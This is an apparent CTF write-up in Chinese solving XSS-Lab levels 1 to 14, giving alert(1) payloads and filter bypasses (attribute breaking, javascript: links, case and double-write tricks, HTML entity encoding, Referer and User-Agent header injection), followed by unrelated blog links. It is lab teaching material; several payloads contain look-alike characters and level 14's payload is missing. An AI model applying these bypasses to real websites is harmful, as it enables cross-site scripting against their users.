做题笔记BUU (XSS-Lab)(1-14)

第一题 直接注入

在URL中传递参数name,直接插入JavaScript代码:

<script>alert(1)</script>

第二题value闭合

被value包含 通过闭合双引号来绕过

"><script>alert(1)</script>

第三题鼠标点击事件onclinck

因这里不会对单引号转义,那么使用单引号闭合。

' οnclick='alert(1)

然后输入框的就会被添加 onclick属性,我们点击一下输入框,即可过关

第四题

发现与第三题相似就改一下符号

" οnclick="alert(1)

第五题 (JavaScript伪协议标签)

看着和第四题一样直接输

发现onclick中间出现下划线

那么需要使用a标签的JavaScript伪协议实现href属性支持**JavaScript:**伪协议,则:后面的代码会被当成JavaScript来执行。注意这里还需要闭合input标签。

"><a href=javascript:alert(1)>

点击">

第六题 (大小写绕过)

发现href中间加了下划线

将href大写

第七题 双写绕过

发现href被过滤了 script也被过滤大小写也被过滤了。这里因为是替换为空字符,我们可以通过双写注入进行绕过。

"><scrscriptipt>alert(1)</scrscriptipt>

第八题 HTML实体编码绕过

链接被转入href中并加入了下划线

这个也不行

双写也不行

转为HTML形式

https://www.qqxiuzi.cn/bianma/zifushiti.php

将**javascript:alert(1)**进行实体编码

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;

第九题 http://注释绕过

诶,好像链接合法了,但是http://在前面是无法执行JavaScript,那么如何去除呢,我们想到这个是php代码,是不是可以用双斜杠进行注释,http://放到最后面不就注释掉了嘛。注意这关也需要实体化字符串

直接:

&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;//http://

第十题 隐藏参数+hidden修改

将图中的hidden改为refer

同时输入?t_sort=" type="text" οnclick="alert('xss')

?t_sort是name的参数 输完后为

让后点击框

第十一题 Referer头注入

抓包

发现refer中与后台代码重合

所以为refer注入

Referer: "οnmοuseοver="alert(/xss/)

第十二题 user-agent信息

这一题和上一题一样的手法,只是字段改变了是在http请求头中的user-agent字段上。

User-Agent: "οnmοuseοver="alert(/xss/)

第十三题 cookie头

写User-Agent头和十一关同理

" type="text" οnmοusemοve="alert(1)

第十四题 exif xss

首先什么是exif

可交换图像文件格式 (英语:Exchangeable image file format,官方简称Exif ),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。可使用鼠标右键进入属性页面查看部分信息。

payload

相关推荐
小徐_233312 小时前
wot-ui-cli 1.1.0 发布:支持 OpenCode、Antigravity,wot-ui 图标迁移不再靠猜
前端
__zRainy__12 小时前
Node.js Web 框架选型指南:从 Express 到 Hono 的全景对比
前端·node.js·express·koa·nestjs·egg·fastify
西瓜有点饿13 小时前
PostCSS 和 UnoCSS 的作用和区别
前端·postcss
伟大的兔神13 小时前
我做了一个本地优先的 AI 图片工作台:Loomora v1.0.0 正式发布
前端·javascript·vue.js
90后的晨仔14 小时前
uni-app项目 Vue3 状态管理 Pinia 完全指南:从概念到实战的深度解析
前端
90后的晨仔15 小时前
uni-app 在 iOS 平台跳转页面时移除底部安全区域的完整技术指南
前端
峥无15 小时前
从0到1手撕红黑树:封装实现 my_map 与 my_set(SGI-STL 源码级深度解析)
开发语言·c++·笔记·算法·stl
用户9385156350715 小时前
React + JWT 登录鉴权底层原理与工程化实践
前端·react.js
zww894911115 小时前
家政派单系统开发实战:架构设计与派单算法指南
前端·系统架构
不会代码的小猴15 小时前
3. 控件学习1
开发语言·c++·笔记·qt·算法